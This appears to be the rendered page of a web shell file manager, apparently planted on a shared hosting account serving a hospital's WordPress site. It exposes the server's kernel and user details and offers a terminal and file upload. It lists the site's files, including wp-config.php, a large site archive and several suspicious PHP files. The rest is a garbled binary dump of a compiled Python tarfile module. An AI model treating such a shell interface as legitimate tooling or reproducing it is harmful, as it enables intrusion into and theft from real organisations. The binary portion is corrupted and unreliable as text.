✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log2.01 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 ct„j ´ã'@s>dZdZdZdZdZddlmZddlZddl Z ddl Z ddl Z ddl Z ddl Z ddlZddlZddlZddlZy ddlZWnek r”dZYnXy ddlZWnek rºdZYnXeefZyeef7ZWnek ræYnXdd d d d d dddddddddgZdZdZdZdZedZdZ dZ!dZ"dZ#dZ$d Z%dZ&d!Z'd"Z(d#Z)d$Z*d%Z+d&Z,d'Z-d(Z.d)Z/d*Z0d+Z1d,Z2d-Z3dZ4d.Z5d/Z6e5Z7e%e&e'e(e+e,e-e)e*e.e/e0f Z8e%e&e-e0fZ9e.e/e0fZ:d„Z;d0d1d6d7hZe>e>d8œZ?e j@d9k�rèd:ZAnejBƒZAd;d<„ZCd=d>„ZDd?d@„ZEdAe7fdBdC„ZFdDdE„ZGdedfdFdG„ZHdHdI„ZIdJdK„ZJGdLd „d eKƒZLGdMd„deLƒZMGdNd „d eLƒZNGdOd „d eLƒZOGdPd„deLƒZPGdQd„deLƒZQGdRdS„dSeQƒZRGdTdU„dUeQƒZSGdVdW„dWeQƒZTGdXdY„dYeQƒZUGdZd[„d[eQƒZVGd\d]„d]ƒZWGd^d_„d_ƒZXGd`da„daeYƒZZGdbdc„dceYƒZ[Gddde„dee j\ƒZ]Gdfdg„dgeLƒZ^Gdhdi„die^ƒZ_Gdjdk„dke^ƒZ`Gdldm„dme^ƒZaGdndo„doe^ƒZbGdpdq„dqe^ƒZcGdrds„dse^ƒZde^eeMfZed…dtdu„Zfdvdw„Zgdxdy„Zhdzd{„Ziegeheid|œZjeYƒZkejld}ƒZmGd~d „d eYƒZnGdd„deYƒZod€d „ZpeojZd�d‚„Zqerdƒk�r:eqƒdS)†z0.9.0u"Lars Gustäbel (lars@gustaebel.de)z5$Date: 2011-02-25 17:42:01 +0200 (Fri, 25 Feb 2011) $z?$Id: tarfile.py 88586 2011-02-25 15:42:01Z marc-andre.lemburg $u4Gustavo Niemeyer, Niels Gustäbel, Richard Townsend.é)ÚopenNÚTarFileÚTarInfoÚ is_tarfileÚTarErrorÚ ReadErrorÚCompressionErrorÚ StreamErrorÚ ExtractErrorÚ HeaderErrorÚENCODINGÚ USTAR_FORMATÚ GNU_FORMATÚ PAX_FORMATÚDEFAULT_FORMATrTz/etc/python/tarfile.cfgóiésustar sustar00édé›ó0ó1ó2ó3ó4ó5ó6ó7óLóKóSóxógóXééÚpathÚlinkpathÚsizeÚmtimeÚuidÚgidÚunameÚgname)ZatimeZctimer(r)r*r'Úntzutf-8cCs8|dkrtdƒ‚|j||ƒ}|d|…|t|ƒtS)Nzmetadata cannot contain None)Ú ValueErrorÚencodeÚlenÚNUL)ÚsÚlengthÚencodingÚerrors©r6ú/usr/lib64/python3.6/tarfile.pyÚstn©s r8cCs*|jdƒ}|dkr|d|…}|j||ƒS)Nrr#éÿÿÿÿ)ÚfindÚdecode)r2r4r5Úpr6r6r7Únts±s  r=c Csª|dd krfd}x0tt|ƒdƒD]}|dK}|||d7}q"W|ddkr¦dt|ƒd| }n@y"t|ddƒ}t|jƒp€d dƒ}Wntk r¤td ƒ‚YnX|S) Nré€éÿr#ééÚasciiÚstrictÚ0zinvalid header)r>r?)Úranger0r=ÚintÚstripr.ÚInvalidHeaderError)r2ÚnÚir6r6r7Únti¹s   rKr@cCsÜt|ƒ}d|ko"d|dknrDtd|d|fdƒt}n”|tkrÐd|d |kopd|dknrÐ|dkrŠtdgƒ}ntdgƒ}d||}x6t|dƒD]}|jd|d@ƒ|dL}q®Wntd ƒ‚|S) Nrr@r#z%0*orBrAr>r?zoverflow in number field)rFÚbytesr1rÚ bytearrayrEÚinsertr.)rIÚdigitsÚformatr2rJr6r6r7ÚitnÍs  2   rQcCs0dttjd|ƒƒ}dttjd|ƒƒ}||fS)NrAZ 148B8x356BZ 148b8x356b)ÚsumÚstructZ unpack_from)ÚbufZunsigned_chksumZ signed_chksumr6r6r7Ú calc_chksumsês rUc Csª|pd}|dkrdS|dkr.tj|||ƒdSt||ƒ\}}x8t|ƒD],}|j|ƒ}t|ƒ|krh|dƒ‚|j|ƒqFW|dkr¦|j|ƒ}t|ƒ|krœ|dƒ‚|j|ƒdS)Néirzunexpected end of datai@)ÚshutilÚ copyfileobjÚdivmodrEÚreadr0Úwrite) ÚsrcÚdstr3Ú exceptionÚbufsizeÚblocksÚ remainderÚbrTr6r6r7rX÷s$     rXcCs ddl}|jdtdƒtj|ƒS)Nrz$deprecated in favor of stat.filemoder$)ÚwarningsÚwarnÚDeprecationWarningÚstatÚfilemode)Úmodercr6r6r7rgsrgcCs8ttjddƒ}|dk r(|j|dƒj|ƒ}t|dd�dS)Nr4Úbackslashreplaceú )Úend)ÚgetattrÚsysÚstdoutr/r;Úprint)r2r4r6r6r7Ú _safe_printsrpc@s eZdZdS)rN)Ú__name__Ú __module__Ú __qualname__r6r6r6r7rsc@s eZdZdS)r N)rqrrrsr6r6r6r7r !sc@s eZdZdS)rN)rqrrrsr6r6r6r7r$sc@s eZdZdS)rN)rqrrrsr6r6r6r7r'sc@s eZdZdS)r N)rqrrrsr6r6r6r7r *sc@s eZdZdS)r N)rqrrrsr6r6r6r7r -sc@s eZdZdS)ÚEmptyHeaderErrorN)rqrrrsr6r6r6r7rt0srtc@s eZdZdS)ÚTruncatedHeaderErrorN)rqrrrsr6r6r6r7ru3sruc@s eZdZdS)ÚEOFHeaderErrorN)rqrrrsr6r6r6r7rv6srvc@s eZdZdS)rHN)rqrrrsr6r6r6r7rH9srHc@s eZdZdS)ÚSubsequentHeaderErrorN)rqrrrsr6r6r6r7rw<srwc@s,eZdZdd„Zdd„Zdd„Zdd„Zd S) Ú _LowLevelFilecCsFtjtjtjBtjBdœ|}ttdƒr2|tjO}tj||dƒ|_dS)N)ÚrÚwÚO_BINARYi¶) ÚosÚO_RDONLYÚO_WRONLYÚO_CREATÚO_TRUNCÚhasattrr{rÚfd)ÚselfÚnamerhr6r6r7Ú__init__Is   z_LowLevelFile.__init__cCstj|jƒdS)N)r|Úcloser‚)rƒr6r6r7r†Rsz_LowLevelFile.closecCstj|j|ƒS)N)r|rZr‚)rƒr'r6r6r7rZUsz_LowLevelFile.readcCstj|j|ƒdS)N)r|r[r‚)rƒr2r6r6r7r[Xsz_LowLevelFile.writeN)rqrrrsr…r†rZr[r6r6r6r7rxCs rxc@speZdZdd„Zdd„Zdd„Zdd„Zd d „Zd d „Zd d„Z dd„Z ddd„Z ddd„Z dd„Z dd„ZdS)Ú_Streamc Csäd|_|dkrt||ƒ}d|_|dkr6t|ƒ}|jƒ}|pt|jƒ|jkrL|jj|jd|j…ƒ|j|jd…|_qWdS)N)rTr0r_r“r[)rƒr2r6r6r7Z__writeÈsz_Stream.__writec Cs²|jr dSd|_zŠ|jdkr:|jdkr:|j|jjƒ7_|jdkr˜|jr˜|jj|jƒd|_|jdkr˜|jjtj d|j ƒƒ|jjtj d|j d@ƒƒWd|j s¬|jj ƒXdS)NTrzrŽrŠr‹zd|fg}d|_g|_d}|j}xT|D]L\}}||kr~|jj d||dfƒ|jj d||||fƒ||7}||}qZW||jkrÊ|jj d||jdfƒdS)Nrr„FT) r“Úoffsetr'Úpositionrlr„r•Ú map_indexÚmapr·)rƒr“rÁr'Z blockinfoZlastposZrealposr6r6r7r…us(   z_FileInFile.__init__cCsdS)Nr6)rƒr6r6r7r­Žsz_FileInFile.flushcCsdS)NTr6)rƒr6r6r7Úreadable‘sz_FileInFile.readablecCsdS)NFr6)rƒr6r6r7Úwritable”sz_FileInFile.writablecCs |jjƒS)N)r“Úseekable)rƒr6r6r7rÇ—sz_FileInFile.seekablecCs|jS)N)rÂ)rƒr6r6r7r´šsz_FileInFile.tellcCs�|tjkr tt|dƒ|jƒ|_nj|tjkr\|dkrFt|j|dƒ|_qŠt|j||jƒ|_n.|tjkr‚tt|j||jƒdƒ|_ntdƒ‚|jS)NrzInvalid argument) ÚioÚSEEK_SETÚminÚmaxr'rÂÚSEEK_CURÚSEEK_ENDr.)rƒrÂÚwhencer6r6r7rµŸs   z_FileInFile.seekc Cs|dkr|j|j}nt||j|jƒ}d}xà|dk�r xZ|j|j\}}}}||jkob|knrlPq:|jd7_|jt|jƒkr:d|_q:Wt|||jƒ}|rè|jj||j|ƒ|jj|ƒ}t|ƒ|krÞt dƒ‚||7}n |t |7}||8}|j|7_q.W|S)NrŠrr#zunexpected end of data) r'rÂrÊrÄrÃr0r“rµrZrr1) rƒr'rTÚdataÚstartÚstoprÁr3rbr6r6r7rZ¯s.      z_FileInFile.readcCs&|jt|ƒƒ}||dt|ƒ…<t|ƒS)N)rZr0)rƒrbrTr6r6r7ÚreadintoÎsz_FileInFile.readintocCs d|_dS)NT)r•)rƒr6r6r7r†Ósz_FileInFile.close)N)N)rqrrrsr…r­rÅrÆrÇr´rÈrÉrµrZrÒr†r6r6r6r7rÀos  rÀcseZdZ‡fdd„Z‡ZS)Ú ExFileObjectcs&t|j|j|j|jƒ}tƒj|ƒdS)N)rÀr“Ú offset_datar'ÚsparseÚsuperr…)rƒÚtarfileÚtarinfor“)Ú __class__r6r7r…Ùs  zExFileObject.__init__)rqrrrsr…Ú __classcell__r6r6)rÙr7rÓ×srÓc@s eZdZdS)Ú FilterErrorN)rqrrrsr6r6r6r7rÛäsrÛcseZdZ‡fdd„Z‡ZS)ÚAbsolutePathErrorcs ||_tƒjd|j›d�ƒdS)Nzmember z has an absolute path)rØrÖr…r„)rƒrØ)rÙr6r7r…èszAbsolutePathError.__init__)rqrrrsr…rÚr6r6)rÙr7rÜçsrÜcseZdZ‡fdd„Z‡ZS)ÚOutsideDestinationErrorcs.||_||_tƒj|j›d|›d�dƒdS)Nz would be extracted to z, z which is outside the destination)rØÚ_pathrÖr…r„)rƒrØr%)rÙr6r7r…ísz OutsideDestinationError.__init__)rqrrrsr…rÚr6r6)rÙr7rÝìsrÝcseZdZ‡fdd„Z‡ZS)ÚSpecialFileErrorcs||_tƒj|j›d�ƒdS)Nz is a special file)rØrÖr…r„)rƒrØ)rÙr6r7r…ôszSpecialFileError.__init__)rqrrrsr…rÚr6r6)rÙr7rßósrßcseZdZ‡fdd„Z‡ZS)ÚAbsoluteLinkErrorcs||_tƒj|j›d�ƒdS)Nz! is a symlink to an absolute path)rØrÖr…r„)rƒrØ)rÙr6r7r…ùszAbsoluteLinkError.__init__)rqrrrsr…rÚr6r6)rÙr7ràøsràcseZdZ‡fdd„Z‡ZS)ÚLinkOutsideDestinationErrorcs.||_||_tƒj|j›d|›d�dƒdS)Nz would link to z, z which is outside the destination)rØrÞrÖr…r„)rƒrØr%)rÙr6r7r…þsz$LinkOutsideDestinationError.__init__)rqrrrsr…rÚr6r6)rÙr7ráýsrácseZdZ‡fdd„Z‡ZS)ÚLinkFallbackErrorcs2||_||_tƒjd|j›d�d|›d�ƒdS)Nzlink z would be extracted as a zcopy of z, which was rejected)rØrÞrÖr…r„)rƒrØr%)rÙr6r7r…szLinkFallbackError.__init__)rqrrrsr…rÚr6r6)rÙr7râsrâcCs$i}|j}tjj|tjjd�}|jdtjfƒrH|jjdtjƒ}|d<tjj|ƒr\t |ƒ‚tjjtjj ||ƒtjjd�}tjj ||gƒ|kr˜t ||ƒ‚|j }|dk �r|d@}|�rþ|jƒsÆ|jƒrà|d@sÖ|dM}|dO}n|jƒsð|jƒröd}nt|ƒ‚||j k�r||d<|�r |jdk �r,d|d <|jdk �r@d|d <|jdk �rTd|d <|jdk �rhd|d <|jƒ�s||jƒ�r tjj|jƒ�r”t|ƒ‚tjj|jƒ}||jk�r¶||d <|jƒ�rÜtjj |tjj|ƒ|jƒ}ntjj ||jƒ}tjj|tjjd�}tjj ||gƒ|k�r t||ƒ‚|S)N)rCú/r„iíé@éIi€rhr)r*r+r,Úlinknamei¶ÿÿÿ)r„r|r%ÚrealpathÚ ALLOW_MISSINGr¿ÚsepÚlstripÚisabsrÜr¸Ú commonpathrÝrhÚisregÚislnkÚisdirÚissymrßr)r*r+r,ræràÚnormpathÚdirnamerá)ÚmemberÚ dest_pathZfor_dataÚ new_attrsr„Z target_pathrhZ normalizedr6r6r7Ú_get_filtered_attrssd                röcCs|S)Nr6)rórôr6r6r7Úfully_trusted_filterTsr÷cCs(t||dƒ}|r$|jf|ddi—ŽS|S)NFÚdeep)rör¥)rórôrõr6r6r7Ú tar_filterWs rùcCs(t||dƒ}|r$|jf|ddi—ŽS|S)NTrøF)rör¥)rórôrõr6r6r7Ú data_filter]s rú)Z fully_trustedrŽrÏs([0-9]{1,20}) c@sªeZdZdlZdmdd„Zdd„Zdd„ZeeeƒZdd„Z dd„Z ee e ƒZ d d!„Z e e e e e e e e d"e d#œ d$d%„Zd&d'„Zeed(fd)d*„Zd+d,„Zd-d.„Zd/d0„Zed1d2„ƒZd3d4„Zed5d6„ƒZed7d8„ƒZed9d:„ƒZed;d<„ƒZed=d>„ƒZed?d@„ƒZdAdB„Z dCdD„Z!dEdF„Z"dGdH„Z#dIdJ„Z$dKdL„Z%dMdN„Z&dOdP„Z'dQdR„Z(dSdT„Z)dUdV„Z*dWdX„Z+dYdZ„Z,d[d\„Z-d]d^„Z.d_d`„Z/dadb„Z0dcdd„Z1dedf„Z2dgdh„Z3didj„Z4dkS)nrr„rhr)r*r'r(ÚchksumÚtyperær+r,ÚdevmajorÚdevminorrÁrÔÚ pax_headersrÕr×Ú_sparse_structsÚ _link_targetr‰cCsj||_d|_d|_d|_d|_d|_d|_t|_d|_ d|_ d|_ d|_ d|_ d|_d|_d|_i|_dS)Ni¤rr‰)r„rhr)r*r'r(rûÚREGTYPErürær+r,rýrþrÁrÔrÕrÿ)rƒr„r6r6r7r…�s"zTarInfo.__init__cCs|jS)N)r„)rƒr6r6r7Ú_getpath›szTarInfo._getpathcCs ||_dS)N)r„)rƒr„r6r6r7Ú_setpath�szTarInfo._setpathcCs|jS)N)ræ)rƒr6r6r7Ú _getlinkpath¡szTarInfo._getlinkpathcCs ||_dS)N)ræ)rƒrær6r6r7Ú _setlinkpath£szTarInfo._setlinkpathcCsd|jj|jt|ƒfS)Nz<%s %r at %#x>)rÙrqr„Úid)rƒr6r6r7Ú__repr__§szTarInfo.__repr__T) r„r(rhrær)r*r+r,røÚ_KEEPc CsŽ| rtj|ƒ} n tj|ƒ} || k r(|| _|| k r6|| _|| k rD|| _|| k rR|| _|| k r`|| _|| k rn|| _|| k r||| _|| k rŠ|| _ | S)N) ÚcopyÚdeepcopyr„r(rhrær)r*r+r,) rƒr„r(rhrær)r*r+r,rør Úresultr6r6r7r¥ªs(  zTarInfo.replacecCs‚|jdkrd}n |jd@}|j||j|j|j|j|j|j|j|j |j |j |j dœ }|dt kr~|djdƒ r~|dd7<|S)Niÿ) r„rhr)r*r'r(rûrürær+r,rýrþrür„rã)rhr„r)r*r'r(rûrürær+r,rýrþÚDIRTYPEr«)rƒrhÚinfor6r6r7Úget_infoÆs&   zTarInfo.get_infoÚsurrogateescapecCs~|jƒ}x(|jƒD]\}}|dkrtd|ƒ‚qW|tkrH|j|||ƒS|tkr^|j|||ƒS|tkrr|j||ƒStdƒ‚dS)Nz%s may not be Nonezinvalid format) rÚitemsr.r Úcreate_ustar_headerrÚcreate_gnu_headerrÚcreate_pax_header)rƒrPr4r5rr„Úvaluer6r6r7Útobufâs z TarInfo.tobufcCsnt|d<t|dj||ƒƒtkr(tdƒ‚t|dj||ƒƒtkr^|j|d||ƒ\|d<|d<|j|t||ƒS)NÚmagicræzlinkname is too longr„Úprefix) Ú POSIX_MAGICr0r/Ú LENGTH_LINKr.Ú LENGTH_NAMEÚ_posix_split_nameÚ_create_headerr )rƒrr4r5r6r6r7rós zTarInfo.create_ustar_headercCs€t|d<d}t|dj||ƒƒtkr<||j|dt||ƒ7}t|dj||ƒƒtkrl||j|dt||ƒ7}||j|t ||ƒS)NrrŠrær„) Ú GNU_MAGICr0r/rÚ_create_gnu_long_headerÚGNUTYPE_LONGLINKrÚGNUTYPE_LONGNAMErr)rƒrr4r5rTr6r6r7rszTarInfo.create_gnu_headerc Cs4t|d<|jjƒ}x„ddtfddtfddfD]h\}}}||kr@q,y||jd d ƒWn"tk rv||||<w,YnXt||ƒ|kr,||||<q,WxldD]d\}}||kr¸d||<qž||}d|koÚd |dkn �sît|t ƒržt |ƒ||<d||<qžW|�r|j |t |ƒ} nd} | |j |td dƒS)Nrr„r%rær&r+é r,rBrCr)r@r*r'é r(rr#rŠr¥)r+r+r")r,r,r"©r)r@©r*r@©r'r#©r(r#)r$r%r&r')rrÿr rrr/ÚUnicodeEncodeErrorr0Ú isinstanceÚfloatÚstrÚ_create_pax_generic_headerÚXHDTYPErr ) rƒrr4rÿr„Zhnamer3rOÚvalrTr6r6r7rs4  .  zTarInfo.create_pax_headercCs|j|tdƒS)Nzutf-8)r,ÚXGLTYPE)Úclsrÿr6r6r7Úcreate_pax_global_header?sz TarInfo.create_pax_global_headercCs€|jdƒ}xltdt|ƒƒD]R}dj|d|…ƒ}dj||d…ƒ}t|j||ƒƒtkrt|j||ƒƒtkrPqWtdƒ‚||fS)Nrãr#zname is too long)ÚsplitrEr0r¸r/Ú LENGTH_PREFIXrr.)rƒr„r4r5Z componentsrJrr6r6r7rEs zTarInfo._posix_split_namec CsÆ|jdƒttfk}|r@t|jddƒd|ƒ}t|jddƒd|ƒ}ntdd||ƒ}tdd||ƒ}|jdtƒ}|dkrxtdƒ‚t|jddƒd ||ƒt|jd dƒd @d|ƒt|jd dƒd|ƒt|jd dƒd|ƒt|jddƒd|ƒt|jddƒd|ƒd|t|jddƒd ||ƒ|jdtƒt|jddƒd||ƒt|jddƒd||ƒt|jddƒd|ƒt|jddƒd|ƒt|jddƒd||ƒg}tj dt dj |ƒƒ} t | t d…ƒd} | dd…t d| dƒ| d d…} | S)!Nrürýrr@rþr‰zTarInfo.type must not be Noner„rrhiÿr)r*r'r#r(s rærr+r"r,rrz%dsrŠilz%06orBiei”þÿÿi›þÿÿ)ÚgetÚCHRTYPEÚBLKTYPErQr8rr.rrSr¨r»r¸rUrL) rrPr4r5Zhas_device_fieldsrýrþZfiletypeÚpartsrTrûr6r6r7rUs8  &zTarInfo._create_headercCs.tt|ƒtƒ\}}|dkr*|t|t7}|S)Nr)rYr0r»r1)Zpayloadr`rar6r6r7Ú_create_payloadszTarInfo._create_payloadcCsR|j||ƒt}i}d|d<||d<t|ƒ|d<t|d<|j|t||ƒ|j|ƒS)Nz ././@LongLinkr„rür'r)r/r1r0rrr r8)r0r„rür4r5rr6r6r7r‰s zTarInfo._create_gnu_long_headerc Cs:d}x@|jƒD]4\}}y|jddƒWqtk r@d}PYqXqWd}|rV|d7}x |jƒD]”\}}|jdƒ}|r„|j|dƒ}n |jdƒ}t|ƒt|ƒd}d } } x"|tt| ƒƒ} | | krÆP| } q¬W|tt| ƒd ƒd |d |d 7}q`Wi} d| d<|| d<t|ƒ| d<t| d<|j| td dƒ|j |ƒS)NFzutf-8rCTrŠs21 hdrcharset=BINARY rr¤rrBó ó=ó z././@PaxHeaderr„rür'rr¥) rr/r(r0r+rLrrr r8) r0rÿrür4ZbinaryÚkeywordrZrecordsÚlrIr<rr6r6r7r,šs<   * z"TarInfo._create_pax_generic_headerc Cstt|ƒdkrtdƒ‚t|ƒtkr(tdƒ‚|jtƒtkr>tdƒ‚t|dd…ƒ}|t|ƒkrbt dƒ‚|ƒ}t |dd…||ƒ|_ t|dd …ƒ|_ t|d d …ƒ|_ t|d d …ƒ|_t|d d …ƒ|_t|d d…ƒ|_||_|dd …|_t |d d…||ƒ|_t |dd…||ƒ|_t |dd…||ƒ|_t|dd…ƒ|_t|dd…ƒ|_t |dd…||ƒ}|jtk�r†|j jdƒ�r†t|_|jtk�r6d}g}xrtdƒD]f} y0t|||d…ƒ} t||d|d…ƒ} Wntk �rðPYnX|j| | fƒ|d7}�q¤Wt|dƒ} t|dd…ƒ} || | f|_ |j!ƒ�rN|j j"dƒ|_ |�rp|jt#k�rp|d|j |_ |S)Nrz empty headerztruncated headerzend of file headeré”éœz bad checksumrélété|éˆé�ii i)iIiQiYiôrãi‚r°r#éiâiãiï)$r0rtr»ruÚcountr1rvrKrUrHr=r„rhr)r*r'r(rûrürær+r,rýrþÚAREGTYPEr«r ÚGNUTYPE_SPARSErEr.r·ÚboolrrïÚrstripÚ GNU_TYPES)r0rTr4r5rûÚobjrr”ÚstructsrJrÁÚnumbytesÚ isextendedÚorigsizer6r6r7ÚfrombufÍsZ       zTarInfo.frombufcCs8|jjtƒ}|j||j|jƒ}|jjƒt|_|j|ƒS)N) r“rZr»rQr4r5r´rÁÚ _proc_member)r0r×rTrLr6r6r7Ú fromtarfile s zTarInfo.fromtarfilecCsT|jttfkr|j|ƒS|jtkr,|j|ƒS|jtttfkrF|j |ƒS|j |ƒSdS)N) rür!r Ú _proc_gnulongrHÚ _proc_sparser-r/ÚSOLARIS_XHDTYPEÚ _proc_paxÚ _proc_builtin)rƒr×r6r6r7rR!s    zTarInfo._proc_membercCsR|jjƒ|_|j}|jƒs$|jtkr4||j|jƒ7}||_|j |j |j |j ƒ|S)N) r“r´rÔrírüÚSUPPORTED_TYPESÚ_blockr'rÁÚ_apply_pax_inforÿr4r5)rƒr×rÁr6r6r7rX.s zTarInfo._proc_builtinc Cs†|jj|j|jƒƒ}y|j|ƒ}Wntk r>tdƒ‚YnX|j|_|jt krft ||j |j ƒ|_ n|jtkr‚t ||j |j ƒ|_|S)Nz missing or bad subsequent header)r“rZrZr'rSr rwrÁrür!r=r4r5r„r ræ)rƒr×rTÚnextr6r6r7rT?s  zTarInfo._proc_gnulongc CsÞ|j\}}}|`xœ|r¬|jjtƒ}d}xvtdƒD]j}y0t|||d…ƒ}t||d|d…ƒ} Wntk rzPYnX|r’| r’|j|| fƒ|d7}q0Wt|dƒ}qW||_ |jj ƒ|_ |j |j |j ƒ|_||_ |S)Nrér#rEiø)rr“rZr»rErKr.r·rIrÕr´rÔrZr'rÁ) rƒr×rMrOrPrTr”rJrÁrNr6r6r7rUUs(    zTarInfo._proc_sparsec CsÖ|jj|j|jƒƒ}|jtkr&|j}n |jjƒ}d}d}g}�x0t|ƒ|koV||dk�rnt j ||ƒ}|srt dƒ‚yt |j dƒƒ}Wntk r t dƒ‚YnX|dkr²t dƒ‚||t|ƒkrÊt dƒ‚|jdƒ|d} ||jdƒd| …} | jdƒ\} } } | �s"| dk�s"|| dk�r*t dƒ‚|j|| | fƒ| dk�rd|dk�rd| dk�r`|j}nd }||7}q@W|dk�r~d }x`|D]X\}} } |j| d d |jƒ}|tk�rÀ|j| ||j|jƒ}n|j| d d |jƒ}|||<�q„Wy|j|ƒ}Wntk �r td ƒ‚YnXd |k�r&|j||ƒnFd |k�r>|j||ƒn.|jd ƒdk�rl|jdƒdk�rl|j|||ƒ|jttfk�rÒ|j ||j|jƒ|j!|_!d|k�rÒ|j"}|j#ƒ�s¼|jt$k�rÌ||j|jƒ7}||_!|S)Nrzinvalid headerr#ér:r¼s hdrcharsetsBINARYzutf-8z missing or bad subsequent headerzGNU.sparse.mapzGNU.sparse.sizezGNU.sparse.majorÚ1zGNU.sparse.minorrDr')%r“rZrZr'rür/rÿr r0Ú_header_length_prefix_reÚmatchrHrFÚgroupr.rÐrkÚ partitionr·r4Ú_decode_pax_fieldr5ÚPAX_NAME_FIELDSrSr rwÚ_proc_gnusparse_01Ú_proc_gnusparse_00r4Ú_proc_gnusparse_10r-rVr[rÁrÔrírY)rƒr×rTrÿr”r4Ú raw_headersrar3Zheader_value_end_offsetZkeyword_and_valueZ raw_keywordZequalsZ raw_valuer<rr\rÁr6r6r7rWqsx                 zTarInfo._proc_paxc Csªg}g}xŒ|D]„\}}}|dkrVy|jt|jƒƒƒWq’tk rRtdƒ‚Yq’Xq|dkry|jt|jƒƒƒWqtk r�tdƒ‚YqXqWtt||ƒƒ|_dS)NsGNU.sparse.offsetzinvalid headersGNU.sparse.numbytes)r·rFr;r.rHÚlistÚziprÕ)rƒr\riZoffsetsrNÚ_r<rr6r6r7rgëszTarInfo._proc_gnusparse_00cCs@dd„|djdƒDƒ}tt|ddd…|ddd…ƒƒ|_dS)NcSsg|] }t|ƒ‘qSr6)rF)Ú.0Úxr6r6r7ú sz.TarInfo._proc_gnusparse_01..zGNU.sparse.mapú,r$r#)r2rjrkrÕ)rƒr\rÿrÕr6r6r7rfÿszTarInfo._proc_gnusparse_01cCs¬d}g}|jjtƒ}|jddƒ\}}t|ƒ}xJt|ƒ|dkrvd|krV||jjtƒ7}|jddƒ\}}|jt|ƒƒq.W|jjƒ|_t t |ddd…|ddd…ƒƒ|_ dS)Nr;r#r$) r“rZr»r2rFr0r·r´rÔrjrkrÕ)rƒr\rÿr×ZfieldsrÕrTZnumberr6r6r7rhs  zTarInfo._proc_gnusparse_10c CsÆx¶|jƒD]ª\}}|dkr(t|d|ƒq |dkrBt|dt|ƒƒq |dkr\t|dt|ƒƒq |tkr |tkr–yt||ƒ}Wntk r”d}YnX|dkr¨|jdƒ}t|||ƒq W|jƒ|_dS)NzGNU.sparse.namer%zGNU.sparse.sizer'zGNU.sparse.realsizerrã) rÚsetattrrFÚ PAX_FIELDSÚPAX_NUMBER_FIELDSr.rJr rÿ)rƒrÿr4r5r<rr6r6r7r[s"  zTarInfo._apply_pax_infoc Cs.y |j|dƒStk r(|j||ƒSXdS)NrC)r;ÚUnicodeDecodeError)rƒrr4Zfallback_encodingZfallback_errorsr6r6r7rd,s zTarInfo._decode_pax_fieldcCs2|dkrtdƒ‚t|tƒ\}}|r*|d7}|tS)Nrzinvalid offsetr#)rHrYr»)rƒrFr`rar6r6r7rZ4s zTarInfo._blockcCs |jtkS)N)rüÚ REGULAR_TYPES)rƒr6r6r7rí@sz TarInfo.isregcCs|jƒS)N)rí)rƒr6r6r7ÚisfileBszTarInfo.isfilecCs |jtkS)N)rür )rƒr6r6r7rïDsz TarInfo.isdircCs |jtkS)N)rüÚSYMTYPE)rƒr6r6r7rðFsz TarInfo.issymcCs |jtkS)N)rüÚLNKTYPE)rƒr6r6r7rîHsz TarInfo.islnkcCs |jtkS)N)rür5)rƒr6r6r7ÚischrJsz TarInfo.ischrcCs |jtkS)N)rür6)rƒr6r6r7ÚisblkLsz TarInfo.isblkcCs |jtkS)N)rüÚFIFOTYPE)rƒr6r6r7ÚisfifoNszTarInfo.isfifocCs |jdk S)N)rÕ)rƒr6r6r7ÚissparsePszTarInfo.issparsecCs|jtttfkS)N)rür5r6r{)rƒr6r6r7ÚisdevRsz TarInfo.isdevN)r„rhr)r*r'r(rûrürær+r,rýrþrÁrÔrÿrÕr×rr)r‰)5rqrrrsÚ __slots__r…rrÚpropertyr%rrr&rr r¥rrr rrrrÚ classmethodr1rÚ staticmethodrr8rr,rQrSrRrXrTrUrWrgrfrhr[rdrZrírvrïrðrîryrzr|r}r~r6r6r6r7rssd    1  *  3 ?  z c @súeZdZdZdZdZdZeZe Z dZ e Z eZdZdjdd„Zedddefd d „ƒZedkd d „ƒZedldd„ƒZedmdd„ƒZedndd„ƒZdddddœZdd„Zdd„Zdd„Zdd „Zdod!d"„Zdpdd$œd%d&„Zdqdd'œd(d)„Z drd*d+„Z!d,d-„Z"dsddd/œd0d1„Z#d2d3„Z$dtddd/œd5d6„Z%d7d8„Z&dud9d:„Z'd;d<„Z(d=d>„Z)d?d@„Z*dvdddAœdBdC„Z+dDdE„Z,dFdG„Z-dHdI„Z.dJdK„Z/dLdM„Z0dNdO„Z1dPdQ„Z2dRdS„Z3dTdU„Z4dVdW„Z5dXdY„Z6dwdZd[„Z7d\d]„Z8dxd^d_„Z9d`da„Z:dbdc„Z;ddde„ZdS)yrrFr#NryrcCs°dddddœ}||krtdƒ‚||_|||_|sj|jdkrVtjj|ƒ rVd|_d|_t||jƒ}d |_n@|dkr’t|d ƒr’t |j t t fƒr’|j }t|d ƒr¤|j|_d |_|rºtjj |ƒnd|_ ||_|dk rÔ||_|dk râ||_|dk rð||_|dk �r||_|dk �r||_| |_| 